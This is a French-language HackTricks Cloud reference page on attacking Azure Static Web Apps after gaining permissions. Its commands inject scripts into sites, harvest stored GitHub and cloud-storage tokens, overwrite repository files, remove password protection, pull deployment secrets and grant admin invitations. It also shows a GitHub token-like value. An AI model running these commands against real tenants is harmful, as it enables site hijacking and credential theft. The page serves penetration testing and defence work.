Az - Static Web Apps Post Exploitation
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Azure Static Web Apps
Pour plus d’informations sur ce service, voir :
Microsoft.Web/staticSites/snippets/write
Il est possible de faire charger du code HTML arbitraire par une page web statique en créant un snippet. Cela pourrait permettre à un attaquant d’injecter du code JS dans l’application web et de voler des informations sensibles telles que des identifiants ou des clés mnémoniques (dans les portefeuilles web3).
La commande suivante crée un snippet qui sera toujours chargé par l’application web ::
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
Lire les identifiants tiers configurés
Comme expliqué dans la section App Service :
En exécutant la commande suivante, il est possible de lire les identifiants tiers configurés dans le compte actuel. Notez que si, par exemple, certains identifiants Github sont configurés pour un autre utilisateur, vous ne pourrez pas accéder au token depuis un compte différent.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Cette commande retourne des tokens pour Github, Bitbucket, Dropbox et OneDrive.
Voici quelques exemples de commandes pour vérifier les tokens :
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Écraser un fichier - Écraser les routes, HTML, JS…
Il est possible de remplacer un fichier dans le dépôt Github contenant l’application via Azure disposant du Github token, en envoyant une requête comme la suivante qui indiquera le chemin du fichier à écraser, le contenu du fichier et le message de commit.
Cela peut être exploité par des attaquants pour essentiellement modifier le contenu de l’application web afin de servir du contenu malveillant (voler des identifiants, des clés mnémoniques…) ou simplement rediriger certains chemins vers leurs propres serveurs en écrasant le fichier staticwebapp.config.json.
Warning
Notez que si un attaquant parvient à compromettre le dépôt Github de quelque manière que ce soit, il peut également écraser le fichier directement depuis Github.
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
Microsoft.Web/staticSites/config/write
Avec cette permission, il est possible de modifier le mot de passe protégeant une static web app ou même de désactiver la protection de tous les environnements en envoyant une requête telle que la suivante :
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
Microsoft.Web/staticSites/listSecrets/action
Cette permission permet d’obtenir le jeton de déploiement de la clé API pour l’application statique.
En utilisant az rest:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
Utilisation d’AzCLI :
az staticwebapp secrets list --name <appname> --resource-group <RG>
Ensuite, pour mettre à jour une app en utilisant le token vous pouvez exécuter la commande suivante. Notez que cette commande a été extraite en vérifiant comment fonctionne la Github Action https://github.com/Azure/static-web-apps-deploy, car c’est celle qu’Azure configure par défaut. L’image et les paramètres pourraient donc changer à l’avenir.
Tip
Pour déployer l’app vous pouvez utiliser l’outil
swadepuis https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token ou suivre les étapes brutes suivantes :
- Téléchargez le repo https://github.com/staticwebdev/react-basic (ou tout autre repo que vous voulez déployer) et exécutez
cd react-basic. - Modifiez le code que vous voulez déployer
- Déployez-le en exécutant (N’oubliez pas de changer le
<api-token>) :
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
Warning
Même si vous avez le token, vous ne pourrez pas déployer l’application si la stratégie d’autorisation de déploiement est définie sur Github. Pour utiliser le token, vous aurez besoin de la permission
Microsoft.Web/staticSites/writepour changer la méthode de déploiement afin d’utiliser le APi token.
Microsoft.Web/staticSites/write
Avec cette permission, il est possible de changer la source de la static web app vers un autre repository Github, toutefois, elle ne sera pas automatiquement provisionnée car cela doit être fait depuis une Github Action.
Cependant, si la stratégie d’autorisation de déploiement est définie sur Github, il est possible de mettre à jour l’application depuis le nouveau repository source !.
Si la stratégie d’autorisation de déploiement n’est pas définie sur Github, vous pouvez la changer avec la même permission Microsoft.Web/staticSites/write.
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
Exemple de GitHub Action pour déployer l’application :
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
Microsoft.Web/staticSites/resetapikey/action
Avec cette permission, il est possible de reset the API key of the static web app, ce qui peut potentiellement faire un DoS sur les workflows qui déploient automatiquement l’application.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
Microsoft.Web/staticSites/createUserInvitation/action
Cette permission permet de créer une invitation pour un utilisateur afin d’accéder à des chemins protégés à l’intérieur d’une static web app avec un rôle spécifique donné.
Le login se trouve à un chemin tel que /.auth/login/github pour github ou /.auth/login/aad pour Entra ID et un utilisateur peut être invité avec la commande suivante :
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
Pull Requests
Par défaut les Pull Requests provenant d’une branche du même repo seront automatiquement compilées et déployées dans un environnement de staging. Cela pourrait être exploité par un attaquant ayant un accès write au repo mais sans pouvoir contourner les protections de branche de la branche de production (généralement main) pour déployer une version malveillante de l’app dans l’URL de staging.
The staging URL has this format: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> like: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net
Tip
Notez que, par défaut, les PR externes n’exécutent pas les workflows à moins qu’ils n’aient fusionné au moins 1 PR dans le repository. Un attaquant pourrait envoyer un PR valide au repo puis envoyer un PR malveillant pour déployer l’app malveillante dans l’environnement de staging. CEPENDANT, il existe une protection inattendue : l’action GitHub par défaut pour déployer dans la static web app nécessite l’accès au secret contenant le token de déploiement (comme
secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F) même si le déploiement est effectué avec l’IDToken. Cela signifie que, puisque un PR externe n’aura pas accès à ce secret et qu’un PR externe ne peut pas modifier le Workflow pour y placer un token arbitraire sans qu’un PR soit accepté, cette attaque ne fonctionnera pas vraiment.
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud

